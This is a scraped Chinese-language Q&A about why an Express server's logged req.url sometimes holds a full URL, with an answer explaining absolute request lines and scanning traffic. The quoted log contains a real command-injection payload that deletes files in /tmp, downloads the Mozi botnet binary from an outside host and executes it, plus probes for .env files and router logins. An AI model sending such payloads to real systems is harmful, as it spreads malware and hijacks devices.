【问题标题】:How can expressjs req.url path be another url?expressjs req.url 路径如何成为另一个url?
【发布时间】:2021-10-30 05:50:42
【问题描述】:

我最近发现有人向我的 node-express 服务器发出了可疑请求。所以我写了一个中间件来记录请求的 url。确实记录了很多以“/”开头的可疑请求路径,但有些路径实际上是另一个 url。这怎么可能在快速请求中? 我试图对此进行搜索,但没有找到任何东西。这些请求是否会损害节点服务器的安全性。 (例如 req.url 显示为 http://icanhazip.com/

我的 log.txt 文件

/wp-content/
/owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
/shell?cd+/tmp;rm+-rf+*;wget+http://AN_IP_WAS_HERE:40222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/.env
/.env
http://example.com/<-- how is this possible in express request ?
/boaform/admin/formLogin
http://icanhazip.com/  <-- how is this possible in express request ?

用于记录请求的代码

app.use((req,res,next) => {
    var isvalid = true;

    //some validation code here

    if(!isvalid){
        fs.appendFileSync("./log.txt", "\r\n"+ req.url);
        res.send("...");
    } else next();
});

【问题讨论】:

    标签: javascript node.js express security websecurity


    【解决方案1】:

    这在快速请求中怎么可能?

    一个非常基本的 HTTP 请求如下所示:

    GET /your/path HTTP/1.1
    

    而且任何普通客户都会在此处设置合理的路径。

    如果您正在编写自己的客户端,或者手动构建请求(例如,通过键入连接到 HTTP 端口的 telnet 客户端),那么您可以在那里编写任何您喜欢的内容:

    GET http://example.com/ HTTP/1.1
    

    这些请求是否会危及节点服务器的安全性。

    一般不会。他们正在寻找可以利用的安全漏洞。不要对用户输入做不安全的事情,并及时更新您所依赖的模块的安全补丁,这样就可以了。

    【讨论】:

    • 哇。谢谢昆汀的解释。我能够用 openssl 重现它。
    猜你喜欢
    • 1970-01-01
    • 2019-06-11
    • 2013-11-02
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2012-01-11
    • 1970-01-01
    相关资源
    最近更新 更多